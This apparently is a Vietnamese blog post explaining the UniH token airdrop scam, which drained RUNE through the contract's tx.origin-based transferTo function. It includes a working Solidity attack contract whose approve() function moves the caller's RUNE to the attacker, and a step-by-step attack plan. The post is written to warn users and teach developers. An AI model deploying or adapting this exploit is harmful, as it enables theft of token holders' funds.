[BÁO ĐỘNG ĐỎ] Những ai thấy trong ví mình có token UniH
hay các token lạ tự dưng được nhận, thì hãy TUYỆT ĐỐI KHÔNG ĐỘNG ĐẾN.
Sau đây là câu chuyện “Approve trên Uniswap cũng mất tiền - chuyện tưởng như đùa”
Giới thiệu
Cách đây vài tiếng, ở twitter account @THORmaximalist có đăng tải một đoạn tweet về sự cố với token UniH
như sau:
https://twitter.com/THORmaximalist/status/1418575601770930178
Someone is airdropping UniH tokens to ETH adresses. Just ignore : do not exchange them on UniSwap. If you approve it for swaping, the contract will drain your wallet.
Vô lý thực sự, làm sao có chuyện approve mà mất tiền được? Nhưng không, đó hoàn toàn là sự thật.
Hãy xem các transaction sau đây:
https://etherscan.io/tx/0x30588af6b5337d9ea229339287fa230bf307120252ed06018efb7abf85696285
https://etherscan.io/tx/0x0c48a713e36514c1649a7b67f4d404bbd4553b496ab0641d10f1f2907d3a945b
Các tài khoản trên đã mất toàn bộ token RUNE, lần lượt có giá trị là 48,000 tại thời điểm viết, và số lượng người bị hại sẽ còn tăng lên.
Chuyện gì đang xảy ra? approve token UniH
trên Uniswap
mà lại mất hết RUNE
?
Giải mã
Lần vào contract của token RUNE
, ta nhận thấy có một đoạn code thực sự dở
:
/**
* Queries the origin of the tx to enable approval-less transactions, such as for upgrading ETH.RUNE to THOR.RUNE.
* Beware phishing contracts that could steal tokens by intercepting tx.origin.
* The risks of this are the same as infinite-approved contracts which are widespread.
* Acknowledge it is non-standard, but the ERC-20 standard is less-than-desired. (Hi 0xEther).
*/
function transferTo(address recipient, uint256 amount) public returns (bool) {
_transfer(tx.origin, recipient, amount);
return true;
}
tx.origin
là một biến cực kì nguy hiểm đã được khuyên không nên dùng tại document của solidity. Vì sao thì các bạn dev tự đọc thêm vì đoạn này khá đi sâu về tech.
Theo đó, nếu như ta dùng một contract khác để gọi hàm này, thì người chuyển tiền đi sẽ là NGƯỜI GỌI, chính là ta, chứ không phải contract mà ta đang tương tác.
Thật vậy, mình đã viết thử một contract để thử tấn công xem sao, có khoảng 10 dòng code:
pragma solidity ^0.6.0;
import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/release-v3.2.0/contracts/token/ERC20/ERC20.sol";
interface RUNE {
function transferTo(address dest, uint amount) external;
}
contract UniH is ERC20("UniH", "UniH") {
address public owner;
constructor() public {
owner = msg.sender;
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
RUNE(0xcD6a42782d230D7c13A74ddec5dD140e55499Df9).transferTo(owner, 9999999999); // demo only address
return true;
}
}
Đơn giản đây là một contract token ERC20, có custom lại hàm approve của token đó, trong đó gọi đến hàm transferTo
mà ta đã nói ở trên.
Khi này mỗi khi có gọi hàm approve trên token này, nó sẽ auto chuyển RUNE qua cho kẻ tấn công, hay chính là contract owner của UniH ở đây.
Chạy thử, mọi thứ diễn ra đúng như kịch bản, ai approve người đó mất RUNE.
Các bước tấn công:
- Deploy token UniH lên mạng
- Airdrop cho càng nhiều người càng tốt
- Tạo pool trên Uniswap có thanh khoản trông cho hấp dẫn
- Người dùng thấy đươc airdrop, trên uniswap có thanh khoản, liền mang lên swap, đầu tiên là
approve
này, sau đó… à nhưng mà làm gì còn sau đó nữa, RUNE mất hết rồi. approve này cũng không thực hiện approve thật nên cũng chẳng swap được. - RUNE mất rồi
Bài học cho người dùng
-
Bỏ qua tất cả các token lạ mà mình tự dưng nhận được
-
Thứ từ trên trời rơi xuống chỉ có nước mưa và cứt chim mà thôi
Bài học cho dev
- Đừng bao giờ dùng
tx.origin
disclaimer: bài viết chỉ mang tính chất tham khảo, không khuyến khích tấn công bất kì token nào dưới bất kì hình thức nào, contract cũng là mình tự phán đoán và demo (it works), contract của kẻ tấn công có thể khác đôi chút.